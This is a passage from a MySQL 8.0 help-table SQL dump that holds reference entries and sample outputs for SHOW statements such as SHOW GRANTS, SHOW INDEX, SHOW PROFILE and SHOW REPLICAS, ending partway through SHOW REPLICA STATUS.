Db: myschema\n Name: e_daily\n Definer: jon@ghidora\n Time zone: SYSTEM\n Type: RECURRING\n Execute at: NULL\n Interval value: 1\n Interval field: DAY\n Starts: 2018-08-08 11:06:34\n Ends: NULL\n Status: ENABLED\n Originator: 1\ncharacter_set_client: utf8mb4\ncollation_connection: utf8mb4_0900_ai_ci\n Database Collation: utf8mb4_0900_ai_ci\n\nTo see events for a specific schema, use the FROM clause. For example,\nto see events for the test schema, use the following statement:\n\nSHOW EVENTS FROM test;\n\nThe LIKE clause, if present, indicates which event names to match. The\nWHERE clause can be given to select rows using more general conditions,\nas discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-events.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-events.html'),(666,'SHOW FUNCTION CODE',3,'Syntax:\nSHOW FUNCTION CODE func_name\n\nThis statement is similar to SHOW PROCEDURE CODE but for stored\nfunctions. See [HELP SHOW PROCEDURE CODE].\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-function-code.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-function-code.html'),(667,'SHOW FUNCTION STATUS',3,'Syntax:\nSHOW FUNCTION STATUS\n [LIKE \'pattern\' | WHERE expr]\n\nThis statement is similar to SHOW PROCEDURE STATUS but for stored\nfunctions. See [HELP SHOW PROCEDURE STATUS].\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-function-status.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-function-status.html'),(668,'SHOW GRANTS',3,'Syntax:\nSHOW GRANTS\n [FOR user_or_role\n [USING role [, role] ...]]\n\nuser_or_role: {\n user (see )\n | role (see .\n}\n\nThis statement displays the privileges and roles that are assigned to a\nMySQL user account or role, in the form of GRANT statements that must\nbe executed to duplicate the privilege and role assignments.\n\n*Note*:\n\nTo display nonprivilege information for MySQL accounts, use the SHOW\nCREATE USER statement. See [HELP SHOW CREATE USER].\n\nSHOW GRANTS requires the SELECT privilege for the mysql system schema,\nexcept to display privileges and roles for the current user.\n\nTo name the account or role for SHOW GRANTS, use the same format as for\nthe GRANT statement (for example, \'jeffrey\'@\'localhost\'):\n\nmysql> SHOW GRANTS FOR \'jeffrey\'@\'localhost\';\n+------------------------------------------------------------------+\n| Grants for jeffrey@localhost |\n+------------------------------------------------------------------+\n| GRANT USAGE ON *.* TO `jeffrey`@`localhost` |\n| GRANT SELECT, INSERT, UPDATE ON `db1`.* TO `jeffrey`@`localhost` |\n+------------------------------------------------------------------+\n\nThe host part, if omitted, defaults to \'%\'. For additional information\nabout specifying account and role names, see\nhttps://dev.mysql.com/doc/refman/8.0/en/account-names.html, and\nhttps://dev.mysql.com/doc/refman/8.0/en/role-names.html.\n\nTo display the privileges granted to the current user (the account you\nare using to connect to the server), you can use any of the following\nstatements:\n\nSHOW GRANTS;\nSHOW GRANTS FOR CURRENT_USER;\nSHOW GRANTS FOR CURRENT_USER();\n\nIf SHOW GRANTS FOR CURRENT_USER (or any equivalent syntax) is used in\ndefiner context, such as within a stored procedure that executes with\ndefiner rather than invoker privileges, the grants displayed are those\nof the definer and not the invoker.\n\nIn MySQL 8.0 compared to previous series, SHOW GRANTS no longer\ndisplays ALL PRIVILEGES in its global-privileges output because the\nmeaning of ALL PRIVILEGES at the global level varies depending on which\ndynamic privileges are defined. Instead, SHOW GRANTS explicitly lists\neach granted global privilege:\n\nmysql> SHOW GRANTS FOR \'root\'@\'localhost\';\n+---------------------------------------------------------------------+\n| Grants for root@localhost |\n+---------------------------------------------------------------------+\n| GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, RELOAD, |\n| SHUTDOWN, PROCESS, FILE, REFERENCES, INDEX, ALTER, SHOW DATABASES, |\n| SUPER, CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, REPLICATION |\n| SLAVE, REPLICATION CLIENT, CREATE VIEW, SHOW VIEW, CREATE ROUTINE, |\n| ALTER ROUTINE, CREATE USER, EVENT, TRIGGER, CREATE TABLESPACE, |\n| CREATE ROLE, DROP ROLE ON *.* TO `root`@`localhost` WITH GRANT |\n| OPTION |\n| GRANT PROXY ON \'\'@\'\' TO `root`@`localhost` WITH GRANT OPTION |\n+---------------------------------------------------------------------+\n\nApplications that process SHOW GRANTS output should be adjusted\naccordingly.\n\nAt the global level, GRANT OPTION applies to all granted static global\nprivileges if granted for any of them, but applies individually to\ngranted dynamic privileges. SHOW GRANTS displays global privileges this\nway:\n\no One line listing all granted static privileges, if there are any,\n including WITH GRANT OPTION if appropriate.\n\no One line listing all granted dynamic privileges for which GRANT\n OPTION is granted, if there are any, including WITH GRANT OPTION.\n\no One line listing all granted dynamic privileges for which GRANT\n OPTION is not granted, if there are any, without WITH GRANT OPTION.\n\nWith the optional USING clause, SHOW GRANTS enables you to examine the\nprivileges associated with roles for the user. Each role named in the\nUSING clause must be granted to the user.\n\nSuppose that user u1 is assigned roles r1 and r2, as follows:\n\nCREATE ROLE \'r1\', \'r2\';\nGRANT SELECT ON db1.* TO \'r1\';\nGRANT INSERT, UPDATE, DELETE ON db1.* TO \'r2\';\nCREATE USER \'u1\'@\'localhost\' IDENTIFIED BY \'u1pass\';\nGRANT \'r1\', \'r2\' TO \'u1\'@\'localhost\';\n\nSHOW GRANTS without USING shows the granted roles:\n\nmysql> SHOW GRANTS FOR \'u1\'@\'localhost\';\n+---------------------------------------------+\n| Grants for u1@localhost |\n+---------------------------------------------+\n| GRANT USAGE ON *.* TO `u1`@`localhost` |\n| GRANT `r1`@`%`,`r2`@`%` TO `u1`@`localhost` |\n+---------------------------------------------+\n\nAdding a USING clause causes the statement to also display the\nprivileges associated with each role named in the clause:\n\nmysql> SHOW GRANTS FOR \'u1\'@\'localhost\' USING \'r1\';\n+---------------------------------------------+\n| Grants for u1@localhost |\n+---------------------------------------------+\n| GRANT USAGE ON *.* TO `u1`@`localhost` |\n| GRANT SELECT ON `db1`.* TO `u1`@`localhost` |\n| GRANT `r1`@`%`,`r2`@`%` TO `u1`@`localhost` |\n+---------------------------------------------+\nmysql> SHOW GRANTS FOR \'u1\'@\'localhost\' USING \'r2\';\n+-------------------------------------------------------------+\n| Grants for u1@localhost |\n+-------------------------------------------------------------+\n| GRANT USAGE ON *.* TO `u1`@`localhost` |\n| GRANT INSERT, UPDATE, DELETE ON `db1`.* TO `u1`@`localhost` |\n| GRANT `r1`@`%`,`r2`@`%` TO `u1`@`localhost` |\n+-------------------------------------------------------------+\nmysql> SHOW GRANTS FOR \'u1\'@\'localhost\' USING \'r1\', \'r2\';\n+---------------------------------------------------------------------+\n| Grants for u1@localhost |\n+---------------------------------------------------------------------+\n| GRANT USAGE ON *.* TO `u1`@`localhost` |\n| GRANT SELECT, INSERT, UPDATE, DELETE ON `db1`.* TO `u1`@`localhost` |\n| GRANT `r1`@`%`,`r2`@`%` TO `u1`@`localhost` |\n+---------------------------------------------------------------------+\n\n*Note*:\n\nA privilege granted to an account is always in effect, but a role is\nnot. The active roles for an account can differ across and within\nsessions, depending on the value of the activate_all_roles_on_login\nsystem variable, the account default roles, and whether SET ROLE has\nbeen executed within a session.\n\nMySQL 8.0.16 and higher supports partial revokes of global privileges,\nsuch that a global privilege can be restricted from applying to\nparticular schemas (see\nhttps://dev.mysql.com/doc/refman/8.0/en/partial-revokes.html). To\nindicate which global schema privileges have been revoked for\nparticular schemas, SHOW GRANTS output includes REVOKE statements:\n\nmysql> SET PERSIST partial_revokes = ON;\nmysql> CREATE USER u1;\nmysql> GRANT SELECT, INSERT, DELETE ON *.* TO u1;\nmysql> REVOKE SELECT, INSERT ON mysql.* FROM u1;\nmysql> REVOKE DELETE ON world.* FROM u1;\nmysql> SHOW GRANTS FOR u1;\n+--------------------------------------------------+\n| Grants for u1@% |\n+--------------------------------------------------+\n| GRANT SELECT, INSERT, DELETE ON *.* TO `u1`@`%` |\n| REVOKE SELECT, INSERT ON `mysql`.* FROM `u1`@`%` |\n| REVOKE DELETE ON `world`.* FROM `u1`@`%` |\n+--------------------------------------------------+\n\nSHOW GRANTS does not display privileges that are available to the named\naccount but are granted to a different account. For example, if an\nanonymous account exists, the named account might be able to use its\nprivileges, but SHOW GRANTS does not display them.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-grants.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-grants.html'),(669,'SHOW INDEX',3,'Syntax:\nSHOW [EXTENDED] {INDEX | INDEXES | KEYS}\n {FROM | IN} tbl_name\n [{FROM | IN} db_name]\n [WHERE expr]\n\nSHOW INDEX returns table index information. The format resembles that\nof the SQLStatistics call in ODBC. This statement requires some\nprivilege for any column in the table.\n\nmysql> SHOW INDEX FROM City\\G\n*************************** 1. row ***************************\n Table: city\n Non_unique: 0\n Key_name: PRIMARY\n Seq_in_index: 1\n Column_name: ID\n Collation: A\n Cardinality: 4188\n Sub_part: NULL\n Packed: NULL\n Null:\n Index_type: BTREE\n Comment:\nIndex_comment:\n Visible: YES\n Expression: NULL\n*************************** 2. row ***************************\n Table: city\n Non_unique: 1\n Key_name: CountryCode\n Seq_in_index: 1\n Column_name: CountryCode\n Collation: A\n Cardinality: 232\n Sub_part: NULL\n Packed: NULL\n Null:\n Index_type: BTREE\n Comment:\nIndex_comment:\n Visible: YES\n Expression: NULL\n\nAn alternative to tbl_name FROM db_name syntax is db_name.tbl_name.\nThese two statements are equivalent:\n\nSHOW INDEX FROM mytable FROM mydb;\nSHOW INDEX FROM mydb.mytable;\n\nThe optional EXTENDED keyword causes the output to include information\nabout hidden indexes that MySQL uses internally and are not accessible\nby users.\n\nThe WHERE clause can be given to select rows using more general\nconditions, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nSHOW INDEX returns the following fields:\n\no Table\n\n The name of the table.\n\no Non_unique\n\n 0 if the index cannot contain duplicates, 1 if it can.\n\no Key_name\n\n The name of the index. If the index is the primary key, the name is\n always PRIMARY.\n\no Seq_in_index\n\n The column sequence number in the index, starting with 1.\n\no Column_name\n\n The column name. See also the description for the Expression column.\n\no Collation\n\n How the column is sorted in the index. This can have values A\n (ascending), D (descending), or NULL (not sorted).\n\no Cardinality\n\n An estimate of the number of unique values in the index. To update\n this number, run ANALYZE TABLE or (for MyISAM tables) myisamchk -a.\n\n Cardinality is counted based on statistics stored as integers, so the\n value is not necessarily exact even for small tables. The higher the\n cardinality, the greater the chance that MySQL uses the index when\n doing joins.\n\no Sub_part\n\n The index prefix. That is, the number of indexed characters if the\n column is only partly indexed, NULL if the entire column is indexed.\n\n *Note*:\n\n Prefix limits are measured in bytes. However, prefix lengths for\n index specifications in CREATE TABLE, ALTER TABLE, and CREATE INDEX\n statements are interpreted as number of characters for nonbinary\n string types (CHAR, VARCHAR, TEXT) and number of bytes for binary\n string types (BINARY, VARBINARY, BLOB). Take this into account when\n specifying a prefix length for a nonbinary string column that uses a\n multibyte character set.\n\n For additional information about index prefixes, see\n https://dev.mysql.com/doc/refman/8.0/en/column-indexes.html, and\n [HELP CREATE INDEX].\n\no Packed\n\n Indicates how the key is packed. NULL if it is not.\n\no Null\n\n Contains YES if the column may contain NULL values and \'\' if not.\n\no Index_type\n\n The index method used (BTREE, FULLTEXT, HASH, RTREE).\n\no Comment\n\n Information about the index not described in its own column, such as\n disabled if the index is disabled.\n\no Index_comment\n\n Any comment provided for the index with a COMMENT attribute when the\n index was created.\n\no Visible\n\n Whether the index is visible to the optimizer. See\n https://dev.mysql.com/doc/refman/8.0/en/invisible-indexes.html.\n\no Expression\n\n MySQL 8.0.13 and higher supports functional key parts (see\n https://dev.mysql.com/doc/refman/8.0/en/create-index.html#create-inde\n x-functional-key-parts), which affects both the Column_name and\n Expression columns:\n\n o For a nonfunctional key part, Column_name indicates the column\n indexed by the key part and Expression is NULL.\n\n o For a functional key part, Column_name column is NULL and\n Expression indicates the expression for the key part.\n\nInformation about table indexes is also available from the\nINFORMATION_SCHEMA STATISTICS table. See\nhttps://dev.mysql.com/doc/refman/8.0/en/information-schema-statistics-t\nable.html. The extended information about hidden indexes is available\nonly using SHOW EXTENDED INDEX; it cannot be obtained from the\nSTATISTICS table.\n\nYou can list a table\'s indexes with the mysqlshow -k db_name tbl_name\ncommand.\n\nIn MySQL 8.0.30 and later, SHOW INDEX includes the table\'s generated\ninvisible key, if it has one, by default. You can cause this\ninformation to be suppressed in the statement\'s output by setting\nshow_gipk_in_create_table_and_information_schema = OFF. For more\ninformation, see\nhttps://dev.mysql.com/doc/refman/8.0/en/create-table-gipks.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-index.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-index.html'),(670,'SHOW MASTER STATUS',3,'Syntax:\nSHOW MASTER STATUS\n\nThis statement provides status information about the binary log files\nof the source server. It requires the REPLICATION CLIENT privilege (or\nthe deprecated SUPER privilege).\n\nExample:\n\nmysql> SHOW MASTER STATUS\\G\n*************************** 1. row ***************************\n File: source-bin.000002\n Position: 1307\n Binlog_Do_DB: test\n Binlog_Ignore_DB: manual, mysql\nExecuted_Gtid_Set: 3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5\n1 row in set (0.00 sec)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-master-status.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-master-status.html'),(671,'SHOW OPEN TABLES',3,'Syntax:\nSHOW OPEN TABLES\n [{FROM | IN} db_name]\n [LIKE \'pattern\' | WHERE expr]\n\nSHOW OPEN TABLES lists the non-TEMPORARY tables that are currently open\nin the table cache. See\nhttps://dev.mysql.com/doc/refman/8.0/en/table-cache.html. The FROM\nclause, if present, restricts the tables shown to those present in the\ndb_name database. The LIKE clause, if present, indicates which table\nnames to match. The WHERE clause can be given to select rows using more\ngeneral conditions, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-open-tables.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-open-tables.html'),(672,'SHOW PLUGINS',3,'Syntax:\nSHOW PLUGINS\n\nSHOW PLUGINS displays information about server plugins.\n\nExample of SHOW PLUGINS output:\n\nmysql> SHOW PLUGINS\\G\n*************************** 1. row ***************************\n Name: binlog\n Status: ACTIVE\n Type: STORAGE ENGINE\nLibrary: NULL\nLicense: GPL\n*************************** 2. row ***************************\n Name: CSV\n Status: ACTIVE\n Type: STORAGE ENGINE\nLibrary: NULL\nLicense: GPL\n*************************** 3. row ***************************\n Name: MEMORY\n Status: ACTIVE\n Type: STORAGE ENGINE\nLibrary: NULL\nLicense: GPL\n*************************** 4. row ***************************\n Name: MyISAM\n Status: ACTIVE\n Type: STORAGE ENGINE\nLibrary: NULL\nLicense: GPL\n...\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-plugins.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-plugins.html'),(673,'SHOW PRIVILEGES',3,'Syntax:\nSHOW PRIVILEGES\n\nSHOW PRIVILEGES shows the list of system privileges that the MySQL\nserver supports. The privileges displayed include all static\nprivileges, and all currently registered dynamic privileges.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-privileges.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-privileges.html'),(674,'SHOW PROCEDURE CODE',3,'Syntax:\nSHOW PROCEDURE CODE proc_name\n\nThis statement is a MySQL extension that is available only for servers\nthat have been built with debugging support. It displays a\nrepresentation of the internal implementation of the named stored\nprocedure. A similar statement, SHOW FUNCTION CODE, displays\ninformation about stored functions (see [HELP SHOW FUNCTION CODE]).\n\nTo use either statement, you must be the user named as the routine\nDEFINER, have the SHOW_ROUTINE privilege, or have the SELECT privilege\nat the global level.\n\nIf the named routine is available, each statement produces a result\nset. Each row in the result set corresponds to one \"instruction\" in the\nroutine. The first column is Pos, which is an ordinal number beginning\nwith 0. The second column is Instruction, which contains an SQL\nstatement (usually changed from the original source), or a directive\nwhich has meaning only to the stored-routine handler.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-procedure-code.html\n\n','mysql> DELIMITER //\nmysql> CREATE PROCEDURE p1 ()\n BEGIN\n DECLARE fanta INT DEFAULT 55;\n DROP TABLE t2;\n LOOP\n INSERT INTO t3 VALUES (fanta);\n END LOOP;\n END//\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> SHOW PROCEDURE CODE p1//\n+-----+----------------------------------------+\n| Pos | Instruction |\n+-----+----------------------------------------+\n| 0 | set fanta@0 55 |\n| 1 | stmt 9 \"DROP TABLE t2\" |\n| 2 | stmt 5 \"INSERT INTO t3 VALUES (fanta)\" |\n| 3 | jump 2 |\n+-----+----------------------------------------+\n4 rows in set (0.00 sec)\n\nmysql> CREATE FUNCTION test.hello (s CHAR(20))\n RETURNS CHAR(50) DETERMINISTIC\n RETURN CONCAT(\'Hello, \',s,\'!\');\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SHOW FUNCTION CODE test.hello;\n+-----+---------------------------------------+\n| Pos | Instruction |\n+-----+---------------------------------------+\n| 0 | freturn 254 concat(\'Hello, \',s@0,\'!\') |\n+-----+---------------------------------------+\n1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/show-procedure-code.html'),(675,'SHOW PROCEDURE STATUS',3,'Syntax:\nSHOW PROCEDURE STATUS\n [LIKE \'pattern\' | WHERE expr]\n\nThis statement is a MySQL extension. It returns characteristics of a\nstored procedure, such as the database, name, type, creator, creation\nand modification dates, and character set information. A similar\nstatement, SHOW FUNCTION STATUS, displays information about stored\nfunctions (see [HELP SHOW FUNCTION STATUS]).\n\nTo use either statement, you must be the user named as the routine\nDEFINER, have the SHOW_ROUTINE privilege, have the SELECT privilege at\nthe global level, or have the CREATE ROUTINE, ALTER ROUTINE, or EXECUTE\nprivilege granted at a scope that includes the routine.\n\nThe LIKE clause, if present, indicates which procedure or function\nnames to match. The WHERE clause can be given to select rows using more\ngeneral conditions, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-procedure-status.html\n\n','mysql> SHOW PROCEDURE STATUS LIKE \'sp1\'\\G\n*************************** 1. row ***************************\n Db: test\n Name: sp1\n Type: PROCEDURE\n Definer: testuser@localhost\n Modified: 2018-08-08 13:54:11\n Created: 2018-08-08 13:54:11\n Security_type: DEFINER\n Comment:\ncharacter_set_client: utf8mb4\ncollation_connection: utf8mb4_0900_ai_ci\n Database Collation: utf8mb4_0900_ai_ci\n\nmysql> SHOW FUNCTION STATUS LIKE \'hello\'\\G\n*************************** 1. row ***************************\n Db: test\n Name: hello\n Type: FUNCTION\n Definer: testuser@localhost\n Modified: 2020-03-10 11:10:03\n Created: 2020-03-10 11:10:03\n Security_type: DEFINER\n Comment:\ncharacter_set_client: utf8mb4\ncollation_connection: utf8mb4_0900_ai_ci\n Database Collation: utf8mb4_0900_ai_ci\n','https://dev.mysql.com/doc/refman/8.0/en/show-procedure-status.html'),(676,'SHOW PROCESSLIST',3,'Syntax:\nSHOW [FULL] PROCESSLIST\n\n*Important*:\n\nThe INFORMATION SCHEMA implementation of SHOW PROCESSLIST is deprecated\nand subject to removal in a future MySQL release. It is recommended to\nuse the Performance Schema implementation of SHOW PROCESSLIST instead.\n\nThe MySQL process list indicates the operations currently being\nperformed by the set of threads executing within the server. The SHOW\nPROCESSLIST statement is one source of process information. For a\ncomparison of this statement with other sources, see\nhttps://dev.mysql.com/doc/refman/8.0/en/processlist-access.html#process\nlist-sources.\n\n*Note*:\n\nAs of MySQL 8.0.22, an alternative implementation for SHOW PROCESSLIST\nis available based on the Performance Schema processlist table, which,\nunlike the default SHOW PROCESSLIST implementation, does not require a\nmutex and has better performance characteristics. For details, see\nhttps://dev.mysql.com/doc/refman/8.0/en/performance-schema-processlist-\ntable.html.\n\nIf you have the PROCESS privilege, you can see all threads, even those\nbelonging to other users. Otherwise (without the PROCESS privilege),\nnonanonymous users have access to information about their own threads\nbut not threads for other users, and anonymous users have no access to\nthread information.\n\nWithout the FULL keyword, SHOW PROCESSLIST displays only the first 100\ncharacters of each statement in the Info field.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-processlist.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-processlist.html'),(677,'SHOW PROFILE',3,'Syntax:\nSHOW PROFILE [type [, type] ... ]\n [FOR QUERY n]\n [LIMIT row_count [OFFSET offset]]\n\ntype: {\n ALL\n | BLOCK IO\n | CONTEXT SWITCHES\n | CPU\n | IPC\n | MEMORY\n | PAGE FAULTS\n | SOURCE\n | SWAPS\n}\n\nThe SHOW PROFILE and SHOW PROFILES statements display profiling\ninformation that indicates resource usage for statements executed\nduring the course of the current session.\n\n*Note*:\n\nThe SHOW PROFILE and SHOW PROFILES statements are deprecated; expect\nthem to be removed in a future MySQL release. Use the Performance\nSchema instead; see\nhttps://dev.mysql.com/doc/refman/8.0/en/performance-schema-query-profil\ning.html.\n\nTo control profiling, use the profiling session variable, which has a\ndefault value of 0 (OFF). Enable profiling by setting profiling to 1 or\nON:\n\nmysql> SET profiling = 1;\n\nSHOW PROFILES displays a list of the most recent statements sent to the\nserver. The size of the list is controlled by the\nprofiling_history_size session variable, which has a default value of\n15. The maximum value is 100. Setting the value to 0 has the practical\neffect of disabling profiling.\n\nAll statements are profiled except SHOW PROFILE and SHOW PROFILES, so\nneither of those statements appears in the profile list. Malformed\nstatements are profiled. For example, SHOW PROFILING is an illegal\nstatement, and a syntax error occurs if you try to execute it, but it\nshows up in the profiling list.\n\nSHOW PROFILE displays detailed information about a single statement.\nWithout the FOR QUERY n clause, the output pertains to the most\nrecently executed statement. If FOR QUERY n is included, SHOW PROFILE\ndisplays information for statement n. The values of n correspond to the\nQuery_ID values displayed by SHOW PROFILES.\n\nThe LIMIT row_count clause may be given to limit the output to\nrow_count rows. If LIMIT is given, OFFSET offset may be added to begin\nthe output offset rows into the full set of rows.\n\nBy default, SHOW PROFILE displays Status and Duration columns. The\nStatus values are like the State values displayed by SHOW PROCESSLIST,\nalthough there might be some minor differences in interpretation for\nthe two statements for some status values (see\nhttps://dev.mysql.com/doc/refman/8.0/en/thread-information.html).\n\nOptional type values may be specified to display specific additional\ntypes of information:\n\no ALL displays all information\n\no BLOCK IO displays counts for block input and output operations\n\no CONTEXT SWITCHES displays counts for voluntary and involuntary\n context switches\n\no CPU displays user and system CPU usage times\n\no IPC displays counts for messages sent and received\n\no MEMORY is not currently implemented\n\no PAGE FAULTS displays counts for major and minor page faults\n\no SOURCE displays the names of functions from the source code, together\n with the name and line number of the file in which the function\n occurs\n\no SWAPS displays swap counts\n\nProfiling is enabled per session. When a session ends, its profiling\ninformation is lost.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-profile.html\n\n','mysql> SELECT @@profiling;\n+-------------+\n| @@profiling |\n+-------------+\n| 0 |\n+-------------+\n1 row in set (0.00 sec)\n\nmysql> SET profiling = 1;\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> DROP TABLE IF EXISTS t1;\nQuery OK, 0 rows affected, 1 warning (0.00 sec)\n\nmysql> CREATE TABLE T1 (id INT);\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> SHOW PROFILES;\n+----------+----------+--------------------------+\n| Query_ID | Duration | Query |\n+----------+----------+--------------------------+\n| 0 | 0.000088 | SET PROFILING = 1 |\n| 1 | 0.000136 | DROP TABLE IF EXISTS t1 |\n| 2 | 0.011947 | CREATE TABLE t1 (id INT) |\n+----------+----------+--------------------------+\n3 rows in set (0.00 sec)\n\nmysql> SHOW PROFILE;\n+----------------------+----------+\n| Status | Duration |\n+----------------------+----------+\n| checking permissions | 0.000040 |\n| creating table | 0.000056 |\n| After create | 0.011363 |\n| query end | 0.000375 |\n| freeing items | 0.000089 |\n| logging slow query | 0.000019 |\n| cleaning up | 0.000005 |\n+----------------------+----------+\n7 rows in set (0.00 sec)\n\nmysql> SHOW PROFILE FOR QUERY 1;\n+--------------------+----------+\n| Status | Duration |\n+--------------------+----------+\n| query end | 0.000107 |\n| freeing items | 0.000008 |\n| logging slow query | 0.000015 |\n| cleaning up | 0.000006 |\n+--------------------+----------+\n4 rows in set (0.00 sec)\n\nmysql> SHOW PROFILE CPU FOR QUERY 2;\n+----------------------+----------+----------+------------+\n| Status | Duration | CPU_user | CPU_system |\n+----------------------+----------+----------+------------+\n| checking permissions | 0.000040 | 0.000038 | 0.000002 |\n| creating table | 0.000056 | 0.000028 | 0.000028 |\n| After create | 0.011363 | 0.000217 | 0.001571 |\n| query end | 0.000375 | 0.000013 | 0.000028 |\n| freeing items | 0.000089 | 0.000010 | 0.000014 |\n| logging slow query | 0.000019 | 0.000009 | 0.000010 |\n| cleaning up | 0.000005 | 0.000003 | 0.000002 |\n+----------------------+----------+----------+------------+\n7 rows in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/show-profile.html'),(678,'SHOW PROFILES',3,'Syntax:\nSHOW PROFILES\n\nThe SHOW PROFILES statement, together with SHOW PROFILE, displays\nprofiling information that indicates resource usage for statements\nexecuted during the course of the current session. For more\ninformation, see [HELP SHOW PROFILE].\n\n*Note*:\n\nThe SHOW PROFILE and SHOW PROFILES statements are deprecated; expect it\nto be removed in a future MySQL release. Use the Performance Schema\ninstead; see\nhttps://dev.mysql.com/doc/refman/8.0/en/performance-schema-query-profil\ning.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-profiles.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-profiles.html'),(679,'SHOW RELAYLOG EVENTS',3,'Syntax:\nSHOW RELAYLOG EVENTS\n [IN \'log_name\']\n [FROM pos]\n [LIMIT [offset,] row_count]\n [channel_option]\n\nchannel_option:\n FOR CHANNEL channel\n\nShows the events in the relay log of a replica. If you do not specify\n\'log_name\', the first relay log is displayed. This statement has no\neffect on the source. SHOW RELAYLOG EVENTS requires the REPLICATION\nSLAVE privilege.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-relaylog-events.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-relaylog-events.html'),(680,'SHOW REPLICAS',3,'Syntax:\n{SHOW REPLICAS}\n\nDisplays a list of replicas currently registered with the source. From\nMySQL 8.0.22, use SHOW REPLICAS in place of SHOW SLAVE HOSTS, which is\ndeprecated from that release. In releases before MySQL 8.0.22, use SHOW\nSLAVE HOSTS. SHOW REPLICAS requires the REPLICATION SLAVE privilege.\n\nSHOW REPLICAS should be executed on a server that acts as a replication\nsource. The statement displays information about servers that are or\nhave been connected as replicas, with each row of the result\ncorresponding to one replica server, as shown here:\n\nmysql> SHOW REPLICAS;\n+------------+-----------+------+-----------+--------------------------------------+\n| Server_id | Host | Port | Source_id | Replica_UUID |\n+------------+-----------+------+-----------+--------------------------------------+\n| 10 | iconnect2 | 3306 | 3 | 14cb6624-7f93-11e0-b2c0-c80aa9429562 |\n| 21 | athena | 3306 | 3 | 07af4990-f41f-11df-a566-7ac56fdaf645 |\n+------------+-----------+------+-----------+--------------------------------------+\n\no Server_id: The unique server ID of the replica server, as configured\n in the replica server\'s option file, or on the command line with\n --server-id=value.\n\no Host: The host name of the replica server, as specified on the\n replica with the --report-host option. This can differ from the\n machine name as configured in the operating system.\n\no User: The replica server user name, as specified on the replica with\n the --report-user option. Statement output includes this column only\n if the source server is started with the --show-replica-auth-info or\n --show-slave-auth-info option.\n\no Password: The replica server password, as specified on the replica\n with the --report-password option. Statement output includes this\n column only if the source server is started with the\n --show-replica-auth-info or --show-slave-auth-info option.\n\no Port: The port on the source to which the replica server is\n listening, as specified on the replica with the --report-port option.\n\n A zero in this column means that the replica port (--report-port) was\n not set.\n\no Source_id: The unique server ID of the source server that the replica\n server is replicating from. This is the server ID of the server on\n which SHOW REPLICAS is executed, so this same value is listed for\n each row in the result.\n\no Replica_UUID: The globally unique ID of this replica, as generated on\n the replica and found in the replica\'s auto.cnf file.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-replicas.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-replicas.html'),(681,'SHOW SLAVE HOSTS',3,'Syntax:\n{SHOW SLAVE HOSTS | SHOW REPLICAS}\n\nDisplays a list of replicas currently registered with the source. From\nMySQL 8.0.22, SHOW SLAVE HOSTS is deprecated and the alias SHOW\nREPLICAS should be used instead. The statement works in the same way as\nbefore, only the terminology used for the statement and its output has\nchanged. Both versions of the statement update the same status\nvariables when used. Please see the documentation for SHOW REPLICAS for\na description of the statement.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-slave-hosts.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-slave-hosts.html'),(682,'SHOW REPLICA STATUS',3,'Syntax:\nSHOW {REPLICA | SLAVE} STATUS [FOR CHANNEL channel]\n\nThis statement provides status information on essential parameters of\nthe replica threads. From MySQL 8.0.22, use SHOW REPLICA STATUS in\nplace of SHOW SLAVE STATUS, which is deprecated from that release. In\nreleases before MySQL 8.0.22, use SHOW SLAVE STATUS. The statement\nrequires the REPLICATION CLIENT privilege (or the deprecated SUPER\nprivilege).\n\nSHOW REPLICA STATUS is nonblocking. When run concurrently with STOP\nREPLICA, SHOW REPLICA STATUS returns without waiting for STOP REPLICA\nto finish shutting down the replication SQL (applier) thread or\nreplication I/O (receiver) thread (or both). This permits use in\nmonitoring and other applications where getting an immediate response\nfrom SHOW REPLICA STATUS is more important than ensuring that it\nreturned the latest data. The SLAVE keyword was replaced with REPLICA\nin MySQL 8.0.22.\n\nIf you issue this statement using the mysql client, you can use a \\G\nstatement terminator rather than a semicolon to obtain a more readable\nvertical layout:\n\nmysql> SHOW REPLICA STATUS\\G\n*************************** 